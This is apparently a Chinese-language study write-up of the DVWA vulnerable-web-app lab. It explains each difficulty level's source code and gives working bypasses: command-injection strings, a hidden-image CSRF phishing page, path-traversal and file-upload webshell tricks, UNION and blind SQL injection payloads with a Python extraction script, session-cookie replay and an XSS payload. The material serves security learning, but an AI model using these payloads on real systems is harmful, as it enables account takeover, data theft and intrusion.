DVWA
Brute Force(蛮力)
Low
这里有需要用到我们的bp了,对于几种爆破方式,这里有个归纳可以看看
https://www.cnblogs.com/chadlas/p/15706226.html
很明显,现在我们用户名和密码都不知道,这时我们就需要使用Cluster bomb,按照以前爆破密码的方式就好了,只是需要同时爆破用户名和密码而已了。
同时我们也可以联想到sql注入的post请求中的万能密码,用户名可以是admin’#或admin’or’1’=’1,然后密码随便输就好了。
Medium
和low相差不大,多了mysql_real_escape_string 函数,这个函数可以对字符串中的函数进行转义,一定程度上可以防止sql注入
我们想起在sqlilab靶场,这个函数可以用宽字节绕过,但是这里源代码里没有GBK编码,所以这里我们就无法使用sql注入了
但是我们依然可以爆破,源代码里有个这个sleep( 2 ),我们每试错一次,就会停止两秒。感觉没什么用,只延缓了爆破的速度而已。
High
在这个难度中,首先从代码中可以发现是加了token验证的。
所以我们先来了解一下token的相关知识:
token
用户登录成功后,服务器用一堆复杂的数据加算法进行加密并签名后,返回一个token给客户端,作为客户端的唯一身份标识,客户端后续请求带着这个token即可。
产生过程
1.用户通过用户名和密码进行登录
2.服务器验证后,根据算法生成token返回给客户端,同时给数据库里关联token和用户信息
3.客户端收到token并保存,再次发送请求时把token放到http的请求头里。
4.服务器查询数据库和,验证(解密)token,通过则返回数据
对于这类题目,我们同样可以使用bp进行解题:
先抓包
我们可以很明显的看到token。
我们攻击对象选择password和token
password按以前那样设置
token的设置:
有效荷载集选择递归搜索Recursive grep(用前一次结果里的内容,作为下一次的数值)
同时进入选项Options模块,找到请求引擎Request Engine,设置线程数为1,因为只有获取上一个请求返回的token值才能做下一次请求
往下滑,可以看到匹配规则Grep-Match,已知登录成功后会出现welcom,所以我们在匹配规则中添加Welcom。
继续下滑找到重定向Redirections,在关注重定向Follow redirections中选择总是。
最后找到Grep-Extract,将从响应中提取以下项勾选上,并点击Add,点击获得回复,在数据中找到token的值,并将其选中后,在窗口上方的定义开始和结束中就会自动出现数据然后点击OK
在这里有一个点是刚开始抓的包不要释放,否则这个地方获取不到代码,最后进攻就好了。
Impossible
这个难度是最高的难度,其中的改变都有GET提交方式改为POST提交方式,同样加了token校验机制,还有就是他限制的登录的次数,如果登录失败3次,账户就会被锁定,需要等待15,然后才能重新尝试。
下面代码
$total_failed_login = 3;
$lockout_time = 15;
$account_locked = false;
代表着登录失败三次,账号就会被锁定15分钟,然后才可以继续尝试,所以我们无法使用爆破方式来做这题。
Command Injection(命令注入)
Command Injection(命令注入),就是指通过提交一些恶意构造的参数破坏命令语句结构,从而达到执行恶意命令的目的。
该类漏洞通常出现在调用外部程序完成一些功能的情景下。比如一些Web管理界面的配置主机名/IP/掩码/网关、查看系统信息以及关闭重启等功能,或者一些站点提供如ping、nslookup、提供发送邮件、转换图片等功能都可能出现该类漏洞。
常见的拼接命令
A&B 先执行A,不管A是否执行成功都会执行B
A&&B 先执行A,A执行成功后才会执行B
A|B 命令a的输出作为命令b的输入,不管A执行是否成功都会执行B
A||B 前面的命令要执行失败,才可以执行后面的命令
A;B A不论正确与否都会执行B命令
ipconfig 查看本地网络
net user 查看系统用户
dir 查看当前目录
find 查找包含指定字符的行
whoami 查看系统当前有效用户名
127.0.0.1 && find / -name “flag“:找文件名包含flag的文件
127.0.0.1 && cat /home/flag.txt:(cat后面有空格)打开找到
的/home/flag.txt文件
还有一些没有列出来,可以去这个网站了解
https://www.shuzhiduo.com/A/Vx5MBqZLdN/
Low
源码里有个$_REQUEST(),他可以获取以POST方法和GET方法提交的数据
还有个ping,它用于确定本地主机是否能与另一台主机成功交换(发送与接收)数据包。有点复杂,先简单了解下。
这里什么都没过滤,随便使用一个就行,比如这个:
127.0.0.1&ipconfig
Medium
//设置命令黑名单,里面包含&&和;
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
//将参数中有&&和;的都替换成空格
这题是简单的黑名单,过滤了&&和;,我们使用&或&;&就好了。
High
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
//替换成空
看到代码,发现黑名单中的限制更多了,像 ‘&’,’| ‘,’||’,’;’,’$’ 等许多都加了限制,但是要仔细观察 ,比如说这个 ‘| ‘ ,它是在管道符后面加了个空格,因此考虑使用 127.0.0.1 |ipconfig 来绕过
Impossible
又是token检验
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
再把输入内容以.为界打散,检验每段是不是数字,如果是再把他们拼起来
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
这里就相当与一个白名单了,只能输入数字。
CSRF(跨站请求伪造)
CSRF(跨站请求伪造),全称为Cross-site request forgery,简单来说,是攻击者利用受害者尚未失效的身份认证信息,诱骗受害者点击恶意链接或含有攻击代码的页面,在受害者不知情的情况下以受害者的身份像服务器发起请求,从而实现非法攻击(改密)。
Low
两个对话框输入相同的内容,就可以更改密码了。
原url:
更改密码后,可以发现url变为
我们就可以诱导受害者点击这个网站来修改受害者的密码。
但是这样的url意图过于明显,我们可以使用短链生成工具 来进行修改
修改完后为
留个短链生成工具的链接
https://www.aifabu.com/dashboard/short/245711?page=1&per_page=10&order_by=create_time
我们还可以搞个钓鱼文件
新建个txt文件,在里面写入
<img src="http://127.0.0.3/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0" style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
img是图像的标签,src是图像的地址,border=”0”是无边框,style=”display:none;”是不显示
这样别人不小心点进这个文件,还误认为是点击的是一个失效的url,但实际上已经遭受了CSRF攻击,密码已经被修改了
这东西还可以用bp直接生成
Medium
//stripos(str1, str2)检查str2在str1中出现的位置(不区分大小写),如果有返//回True,反之False
//判断Host字段是否出现在referer字段中
if( stripos( $_SERVER[ 'HTTP_REFERER' ] ,$_SERVER[ 'SERVER_NAME' ]) !== false ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
这是其中一段源代码
然后是一些补充:
Referer是HTTP请求header 的一部分,当浏览器(或者模拟浏览器行为)向web 服务器发送请求的时候,头信息里有包含 Referer 。比如我在www.google.com 里有一个www.baidu.com 链接,那么点击这个www.baidu.com ,它的header 信息里就有:
Referer=http://www.google.com
$_SERVER[‘HTTP_REFERER’](http包头的Referer参数的值)可以获取当前链接的上一个连接的来源地址,即链接到当前页面的前一页面的 URL 地址
$_SERVER[ ‘SERVER_NAME’ ](http包头的Host参数)的定义是返回当前运行脚本所在的服务器的主机名(比如 www.w3schools.cn)。 这里我觉得就是当前的URL的意思。
简单来说这个代码的意思是:referer中只要出现Host就可以正常操作
Medium级别的代码检查了保留变量 HTTP_REFERER(http包头的Referer参数的值,表示来源地址)中是否包含SERVER_NAME(http包头的Host参数,及要访问的主机名),希望通过这种机制抵御CSRF攻击。
直接先抓个包吧
可以发现referer中有host
我们再新建一个标签页来抓我们的伪造网站
可以发现就连rerferer都没有了
我们把他加上
放包修改成功,放之前可以先去Repeater里go一下。
同理,我们也可以和之前一样搞个钓鱼文件,只不过要多加上Rerferer。
High
if( isset( $_GET[ 'Change' ] ) ) {
// Check Anti-CSRF token
//可以看到加入了token机制
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
High级别的代码增加了Anti-CSRF token机制,用户每次访问改密页面时,服务器会返回一个随机的token,向服务器发起请求时,需要提交token参数,而服务器在收到请求时,会优先检查token,只有token正确,才会处理客户端请求。
需要利用xss的知识,先跳过。
留个学习链接
https://www.cnblogs.com/zhaof/p/6281482.html
Impossible
要求我们先输入密码再修改,攻击者不知道原始密码的情况下是无法发起 CSRF 攻击的。
File Inclusion(文件包含)
文件包含,是一个功能。在各种开发语言中都提供了内置的文件包含函数,其可以使开发人员在一个代码文件中直接包含(引入)另外一个代码文件。
文件包含分类
本地文件包含:当被包含的文件在本地服务器时,就叫做本地文件包含
例:../../../../../etc/passwd
远程文件包含:当被包含的文件在第三方服务器时,就叫做远程文件包含
例:http://www.baidu.com 可以直接打开百度
特性函数区别
include() 当使用该函数包含文件时,只有代码执行到include()函数时才将文件包含进来,发生错误时只给出一个警告,继续向下执行
include_once() 功能和include()相同,区别在于当重复调用同一文件时,程序只调用一次
require() require()与include()的区别在于require()执行如果发生错误,函数会输出错误信息,并终止脚本的运行 。使用require()函数包含文件时,只要程序一执行,立即调用文件,而include()只有程序执行到函数时才调用 .require()在php程序执行前执行,会先读入 require 所指定引入的文件,使它变成 PHP 程序网页的一部份。
require_once() 它的功能与require()相同,区别在于当重复调用同一文件时,程序只调用一次(在做upload靶场的时候见过一次,那个时候用来强行执行php文件的)
/ 根目录
./ 是当前目录
../ 返回到上一级目
../../ 返回了两级目录
.\ 、..\和./、../意义相同
这是关于文件包含的一些详细知识http://t.csdn.cn/UN0mD
Low
这个地方因为我知道他的phpinfo.php文件在他的前两级目录文件中,所以我在这里就直接进行尝试了(本地包含)
同时page未做任何过滤
Medium
// Input validation
//将参数中的http:// https:// ../ ..\都替换成空
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
这个地方加了一些过滤,将“http://”,“https://”,“../”,“..\”全部替换成了空,这个地方其实可以考虑双写绕过或者大小写绕过。
?page=….//….//phpinfo.php
hthttp://tp://www.baidu.com
High
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
//文件名必须以file开始,或只能为include.php
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
匹配”file*”,以’file’开头的文件,或者匹配include.php,如果不是以’file’开头的文件,或者不是include.php,就输出”ERROR: File not found!”。
这就又多了一个知识,伪协议
file:// 访问本地文件系统
http:// 访问 HTTPs 网址
ftp:// 访问 ftp URL
Php:// 访问输入输出流
Zlib:// 压缩流
Data:// 数据
Ssh2:// security shell2
Expect:// 处理交互式的流
Glob:// 查找匹配的文件路径
file协议主要用于访问本地计算机中的文件,好比通过Windows的资源管理器中打开文件或者通过右键单击‘打开’一样。
file协议的基本格式如下:
file:///文件路径
URI中为什么本地文件file后面跟三个斜杠?
file://机器的IP地址/目录/文件
对于本地机器,机器的IP地址变成127.0.0.1或localhost或干脆什么也不写。
file://127.0.0.1/C:/ 本地C盘
file://localhost/D:/ 本地D盘
file:///E:/ 本地E盘
需要注意的是,最后面的/是必不可少的
有个具体的学习路径:https://blog.csdn.net/Wu000999/article/details/101925271
做的是线上靶场,先学了学原理。
Impossible
这个难度的代码使用了白名单机制进行防护,简单粗暴,page参数必须为“include.php”、“file1.php”、“file2.php”、“file3.php”之一,彻底杜绝了文件包含漏洞。
File Upload(文件上传)
和上个靶场差不多
Low
啥都没过滤,直接传木马文件
Medium
// Is it an image?
//文件类型必须是image/jpeg 或者 image/png,大小不能超过100000B(约为97.6KB)
if( ( $uploaded_type == "image/jpeg" || $uploaded_type == "image/png" ) &&
( $uploaded_size < 100000 ) ) {
使用了白名单,只能上传image/jpeg类型的文件,可以抓包,修改Content-Type。
High
// File information
$uploaded_name = $_FILES[ 'uploaded' ][ 'name' ];
$uploaded_ext = substr( $uploaded_name, strrpos( $uploaded_name, '.' ) + 1);
$uploaded_size = $_FILES[ 'uploaded' ][ 'size' ];
$uploaded_tmp = $_FILES[ 'uploaded' ][ 'tmp_name' ];
// Is it an image?
// strtoLower把所有字符转换为小写
getimagesize(string filename)
函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
可以看到,High级别的代码读取文件名中最后一个”.”后的字符串,期望通过文件名来限制文件类型,因此要求上传文件名形式必须是”*.jpg”、”*.jpeg” 、”*.png”之一。同时,getimagesize函数更是限制了上传文件的文件头必须为图像类型。
if( ( strtoLower( $uploaded_ext ) == "jpg" || strtoLower( $uploaded_ext ) == "jpeg" || strtoLower( $uploaded_ext ) == "png" ) &&
( $uploaded_size < 100000 ) &&
getimagesize( $uploaded_tmp ) ) {
他对文件的文件头,文件名形式等等都做了检查,我们就只能上传图片马了。
copy 123.jpg/b+yi.php/a 1234.png
Impossible
这个级别的文件上传对上传的文件进行了重命名(搞了一个MD5的加密),还增加了token值的校验,对文件的内容也做了严格的检查。
Insecure CAPTCHA(不安全的验证码)
Insecure CAPTCHA(不安全的验证码),CAPTCHA全称为Completely Automated Public Turing Test to Tell Computers and Humans Apart,中文名字是全自动区分计算机和人类的图灵测试。关于这一项,其实是在验证流程出现了逻辑漏洞。
验证流程:
用户首先访问网页,触发页面的验证码的js模块,向谷歌服务器发起请求,谷歌服务器将验证码发给用户。用户输入验证码发送数据回去,这里发给的是访问网站的服务器,网站的服务器拿到验证码后,再去访问谷歌的服务器,谷歌的服务器会判断验证码是否正确,再将结果返回给网站服务器。
Low
//第一阶段,验证身份,验证阶段为step
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '1' ) ) {
// Hide the CAPTCHA form
//隐藏验证码表单
$hide_form = true;
// Get input
//得到用户的新密码及确认新密码
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
//使用第三方进行身份验证
//recaptcha_check_answer($privkey,$remoteip, $challenge,$response)
参数$privkey是服务器申请的private key,$remoteip是用户的ip,$challenge是recaptcha_challenge_field字段的值,来自前端页面 ,$response是recaptcha_response_field字段的值。函数返回ReCaptchaResponse class的实例,ReCaptchaResponse类有2个属性 :
$is_valid是布尔型的,表示校验是否有效,
$error是返回的错误代码。
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key'],
$_POST['g-recaptcha-response']
);
// Did the CAPTCHA fail?
if( !$resp ) {
// What happens when the CAPTCHA was entered incorrectly
//验证失败时
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
else {
// CAPTCHA was correct. Do both new passwords match?
//验证通过时,匹配两次密码是否一致
if( $pass_new == $pass_conf ) {
// Show next stage for the user
echo "
<pre><br />You passed the CAPTCHA! Click the button to confirm your changes.<br /></pre>
<form action=\"#\" method=\"POST\">
<input type=\"hidden\" name=\"step\" value=\"2\" />
<input type=\"hidden\" name=\"password_new\" value=\"{$pass_new}\" />
<input type=\"hidden\" name=\"password_conf\" value=\"{$pass_conf}\" />
<input type=\"submit\" name=\"Change\" value=\"Change\" />
</form>";
}
else {
// Both new passwords do not match.
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
}
}
第一阶段:对用户的身份进行验证,step为1,验证成功后才能进行密码修改
//第二阶段,检查两次密码是否一致,并更新密码
if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check to see if both password match
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
//这里也是用 mysqli_real_escape_string 进行了一个转移,所以sql注入不太理想
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for the end user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with the passwords matching
echo "<pre>Passwords did not match.</pre>";
$hide_form = false;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
第二阶段:step为2,两次输入的密码一致,可以进行修改
思考一下直接跳过第一阶段,输入的密码一致,是否可以?
(1)输入两个一致的密码,直接使用burp抓包
(2)将step改为2,进行测试
修改成功
可以联想到我们的CSRT模块,去构造一个Web站点,做一个诱导页面,将step设置为2,诱导用户去点击。
Medium
if( !$_POST[ 'passed_captcha' ] ) {
$html .= "<pre><br />You have not passed the CAPTCHA.</pre>";
$hide_form = false;
return;
}
可以发现源代码中多了个这个,用检查passed_captcha值是否为空,来判断是否完成了第一阶段。
对参数passed_captcha进行验证,如果通过身份验证,该参数就为true。
所以当passed_captcha为true时就可以修改密码了
(1)同样使用burp进行抓包
(2)修改step为2,后面增加参数passed_captcha=true
提交,修改成功
High
<?php
if( isset( $_POST[ 'Change' ] ) ) {
// Hide the CAPTCHA form
$hide_form = true;
// Get input
$pass_new = $_POST[ 'password_new' ];
$pass_conf = $_POST[ 'password_conf' ];
// Check CAPTCHA from 3rd party
$resp = recaptcha_check_answer(
$_DVWA[ 'recaptcha_private_key' ],
$_POST['g-recaptcha-response']
);
//(通过身份验证条件)或者 (参数g-recaptcha-respon为hidd3n_valu3并且参数 HTTP_USER_AGE为 reCAPTC)就算是验证通过了
if (
$resp ||
(
$_POST[ 'g-recaptcha-response' ] == 'hidd3n_valu3'
&& $_SERVER[ 'HTTP_USER_AGENT' ] == 'reCAPTCHA'
)
){
// CAPTCHA was correct. Do both new passwords match?
if ($pass_new == $pass_conf) {
$pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$pass_new = md5( $pass_new );
// Update database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Feedback for user
echo "<pre>Password Changed.</pre>";
} else {
// Ops. Password mismatch
$html .= "<pre>Both passwords must match.</pre>";
$hide_form = false;
}
} else {
// What happens when the CAPTCHA was entered incorrectly
$html .= "<pre><br />The CAPTCHA was incorrect. Please try again.</pre>";
$hide_form = false;
return;
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
// Generate Anti-CSRF token
generateSessionToken();
?>
可以看到,验证过程已经不分步走了,都合在一个阶段里面了
服务器的验证逻辑是当$resp(这里是指谷歌返回的验证结果)是false,并且参数recaptcha_response_field不等于hidd3n_valu3(或者http包头的User-Agent参数不等于reCAPTCHA)时,就认为验证码输入错误,反之则认为已经通过了验证码的检查。
搞清楚了验证逻辑,剩下就是伪造绕过了,由于$resp参数我们无法控制,所以重心放在参数recaptcha_response_field、User-Agent上。
我们还是先抓包
然后修改参数 $_POST[ ‘g-recaptcha-response’ ] == ‘hidd3n_valu3’ $_SERVER[ ‘HTTP_USER_AGENT’ == ‘reCAPTCHA’
修改成功
Impossible
Impossible级别的代码增加了Anti-CSRF token 机制防御CSRF攻击,利用PDO技术防护sql注入,验证过程不再分成两部分了,同时要求用户输入之前的密码,进一步加强了身份认证。
SQL Injection(SQL注入)
我们做的第一个靶场,回顾一下吧
SQL Injection(SQL注入),是指攻击者通过注入恶意的SQL命令,破坏SQL查询语句的结构,从而达到执行恶意SQL语句的目的。SQL注入漏洞的危害是巨大的,常常会导致整个数据库被“脱裤”,尽管如此,SQL注入仍是现在最常见的Web漏洞之一。
SQL注入流程
拿到一个查询条件的web网页,就需要对输入框做以下的事情
1.判断是否存在注入,注入是字符型还是数字型
2.猜解SQL查询语句中的字段数
3.确定显示的字段顺序
4.获取当前数据库
5.获取数据库中的表
6.获取表中的字段名
7.下载数据
Low
这个就直接上payload吧
1' order by 2 #
1' union select 1,2 #
1' union selsct 1,database() #
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database() #
1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='user' #
1' union select group_concat(user),group_concat(password) from users #
Medium
查看源代码,发现是老套路
GET提交方式改成了POST提交方式,还使用了转义预防SQL注入。
user中x00,n,r,,’,”,x1a转义,防SQL注入
他设定了只能选择id,无法自己输入,但是我们可以抓包后修改
payload同上除了没闭合
High
点击“here to change your ID”,页面自动跳转,防御了自动化的SQL注入,使用了session 获取id 值,闭合方式单引号闭合。
payload同low
Impossible
留个网上的解释
CSRF、检测 id 是否是数字。 prepare 预编译语句的优势在于归纳为:一次编译、多次运行,省去了解析优化等过程;此外预编译语句能防止 SQL 注入。
SQL Injection(Blind)(SQL注入之盲注)
回忆一下,并添加些东西吧
SQL Injection(Blind),SQL盲注,相比于常规的SQL注入,他不会将返回具体的数据信息或语法信息,只会将服务器包装后的信息返回到页面中。
常规SQL注入与SQL盲注详细对比
SQL注入
1.执行SQL注入攻击时,服务器会响应来自数据库
服务器的错误信息,信息提示SQL语法不正确等。
2.一般在页面上直接就会显示执行sql语句的结果。
SQL盲注
1.一般情况,执行SQL盲注,服务器不会直接返回具体的数据库错误or语法错误,而是会返回程序开发所设置的特定信息(也有特例,如基于报错的盲注)
2.一般在页面上不会直接显示sql执行的结果
3.有可能出现不确定sql是否执行的情况
(参考:https://www.jianshu.com/p/757626cec742)
布尔盲注与时间盲注对比
布尔盲注
可通过构造真or假判断条件(数据库各项信息取值的大小比较,如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码…),将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果(True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<–>False发生变化的转折点。
时间盲注
通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。
SQL盲注流程
1.判断是否存在注入,注入的类型
2.猜解当前数据库名称
3.猜解数据库中的表名
4.猜解表中的字段名
5.获取表中的字段值
6.验证字段值的有效性
7.获取数据库的其他信息:版本、用户…
Low
文本框输入并提交的形式,GET请求方式,未作任何输入过滤和限制,攻击者可任意构造所想输入的sql查询。
对传参没有进行任何检查、过滤,返回参数只有User ID exists in the database.和User ID is MISSING from the database.两种
可以和以前一样,一个一个慢慢试或者bp爆破,
添加个脚本
import requests
import time
url = 'http://127.0.0.1/DVWA/vulnerabilities/sqli_blind/'
head = {'Cookie':'security=low; PHPSESSID=pbhmm7v2ead585baa8e28dvgh5'}
s = requests.Session()
flag = ''
for i in range(1, 500):
low = 32
high = 128
mid = (low + high) >> 1
while (low < high):
#查库
#payload = '?id=1\' and (ascii(substr((select group_concat(schema_name) from information_schema.schemata),{},1))>{})--+&Submit=Submit#'.format(i, mid)
#查表
#payload = '?id=1\' and (ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{})--+&Submit=Submit#'.format(i, mid)
#查列
#payload = '?id=1\' and (ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\'dvwa\' and table_name=\'users\'),{},1))>{})--+&Submit=Submit#'.format(i, mid)
#查数据
#payload = '?id=1\' and (ascii(substr((select group_concat(user,password) from users),{},1))>{})--+&Submit=Submit#'.format(i, mid)
time.sleep(0.05)
if "exists" in s.get(url+payload, headers=head).text:
low = mid + 1
else:
high = mid
mid = (low + high) >> 1
if (mid == 32 or mid == 127):
break
flag += chr(mid)
print(flag)
print(flag)
这里想查谁,把谁前面注释符删掉就行
Medium
Medium级别的代码利用mysql_real_escape_string函数对特殊符号 \x00,\n,\r,,’,”,\x1a 进行转义,同时前端页面设置了下拉选择表单,希望以此来控制用户的输入。
和普通的SQL注入方式差不多,只是需要BP来抓包修改参数值
或者直接把上题脚本的'删掉即可
High
将数据提交页面和结果显示界面实行分离在两个不同页面,一定程度上可约束SQLMap自动化工具的常规方式扫描(没法完全阻挡)
在提交页面,利用set-cookie对输入的ID值进行传递到显示页面的cookie字段中保存
在sql语句中添加LIMI1,以此限定每次输出的结果只有1个记录,不会输出所有记录
对于LIMIT 1的限制输出记录数目,可以利用#注释其限制;服务端可能会随机执行sleep()函数,做执行,则延迟的时间是随机在2-4s,这样会对正常的基于时间延迟的盲注测试造成干扰。因此可以考虑用基于布尔的盲注进行测试。
Impossible
impossible.php代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入
只有当返回的查询结果数量为一个记录时,才会成功输出,这样就有效预防了暴库
利用is_numeric($id)函数来判断输入的id是否是数字or数字字符串,满足条件才知晓query查询语句
Anti-CSRF token机制的加入了进一步提高了安全性,session_token是随机生成的动态值,每次向服务器请求,客户端都会携带最新从服务端已下发的session_token值向服务器请求作匹配验证,相互匹配才
验证通过
ASCII码对照表
Weak Session IDs(弱会话)
Weak Session IDs(弱会话),用户访问服务器的时候,一般服务器都会分配一个身份证 session id 给用户,用于标识。用户拿到 session id 后就会保存到 cookies 上,之后只要拿着 cookies 再访问服务器,服务器就知道你是谁了。
但是 session id 过于简单就会容易被人伪造。根本都不需要知道用户的密码就能访问用户服务器的内容了。
可以使用hackbar。
Low
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id'])) {
$_SESSION['last_session_id'] = 0;
}
//服务器每次生成的session_id加1给客户端
$_SESSION['last_session_id']++;
$cookie_value = $_SESSION['last_session_id'];
setcookie("dvwaSession", $cookie_value);
}
?>
如果用户 SESSION 中的 last_session_id 不存在就设为 0,生成 cookie 时就在 cookies 上 dvwaSessionId + 1。
(1)直接点击Generate按钮,使用BP抓包
将抓到的cookie复制下来:
dvwaSession=7; PHPSESSID=pl9k48dill61ltfv6aulo7q683; security=low
(2)在重新打开一个页面,将刚才复制下来的cookie粘贴到上面,就可以实现直接登录了,不用输入用户密码(在这要先清除一下浏览器的cookie值)
Medium
<?php
$html = "";
if ($_SERVER['REQUEST_METHOD'] == "POST") {
$cookie_value = time();
//返回当前时间的 Unix 时间戳,并格式化为日期:
time() 函数返回自 Unix 纪元(January 1 1970 00:00:00 GMT)起的当前时间的秒数
setcookie("dvwaSession", $cookie_value);
}
?>
在这里是通过时间戳来生成的session,可以通过时间戳转换工具生成时间戳:https://tool.lu/timestamp/
具体方法和Low一样
High
if ($_SERVER['REQUEST_METHOD'] == "POST") {
if (!isset ($_SESSION['last_session_id_high'])) {
$_SESSION['last_session_id_high'] = 0;
}
$_SESSION['last_session_id_high']++;
$cookie_value = md5($_SESSION['last_session_id_high']);
setcookie("dvwaSession", $cookie_value, time()+3600, "/vulnerabilities/weak_id/", $_SERVER['HTTP_HOST'], false, false);
}
补点东西
参数 描述
name 必需,规定cookie的名称。
value 必需,规定cookie的值。
expire 可选,规定cookie的有效期。
path 可选,规定cookie的服务器路径。
domain 可选,规定cookie的域名。
secure 可选,规定是否通过安全的HTTPS连接来传输cookie。
httponly 可选,规定是否Cookie仅可通过HTTP协议访问。
这次的cookies是low级别上,加入md5加密,将session ID使用Md5就好了。
Impossible
$cookie_value采用随机数+时间戳+固定字符串”Impossible”,再进行sha1运算,完全不能猜测到dvwaSession的值
XSS(跨站脚本攻击)
恶意攻击者往Web页面里插入恶意Script代码,当用户浏览该页面时,嵌入Web里面的Script代码会被执行,从而达到恶意攻击用户的目的。XSS攻击针对的是用户层面的攻击
XSS分为:存储型 、反射型 、DOM型XSS
反射型XSS:非持久化,需要欺骗用户自己去点击链接才能触发XSS代码(服务器中没有这样的页面和内容),一般容易出现在搜索页面。反射型XSS大多数是用来盗取用户的Cookie信息。
存储型XSS:持久化,代码是存储在服务器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户访问该页面的时候触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃cookie
DOM型XSS:不经过后端,DOM-XSS漏洞是基于文档对象模型(Document Objeet Model,DOM)的一种漏洞,DOM-XSS是通过url传入参数去控制触发的,其实也属于反射型XSS。感觉和sql注入有点像
XSS(DOM) DOM型XSS
可能触发DOM型XSS的属性:
document.referer属性
window.name属性
location属性
innerHTML属性
documen.write属性
Low
html代码
<div class="vulnerable_code_area">
<p>Please choose a language:</p>
<form name="XSS" method="GET">
<select name="default">
<script>
if (document.location.href.indexOf("default=") >= 0) {
var lang = document.location.href.substring(document.location.href.indexOf("default=")+8);
document.write("<option value='" + lang + "'>" + decodeURI(lang) + "</option>");
document.write("<option value='' disabled='disabled'>----</option>");
}
document.write("<option value='English'>English</option>");
document.write("<option value='French'>French</option>");
document.write("<option value='Spanish'>Spanish</option>");
document.write("<option value='German'>German</option>");
</script>
</select>
<input type="submit" value="Select" />
</form>
</div>
我们插入的 javascript 代码可以在 decodeURL(lang) 被执行
比如我们的语句是:
?default=<script>alert(/xss/)</script>
写入页面的效果是这样的:
<option value='变量lang 的值'>English<script>alert(/xss/)</script></option>
可以用f12打开查看器查看
<script> 标签用于定义客户端脚本,比如 JavaScript。
option 元素定义下拉列表中的一个选项(一个条目)。
这样的代码
在网页上就是
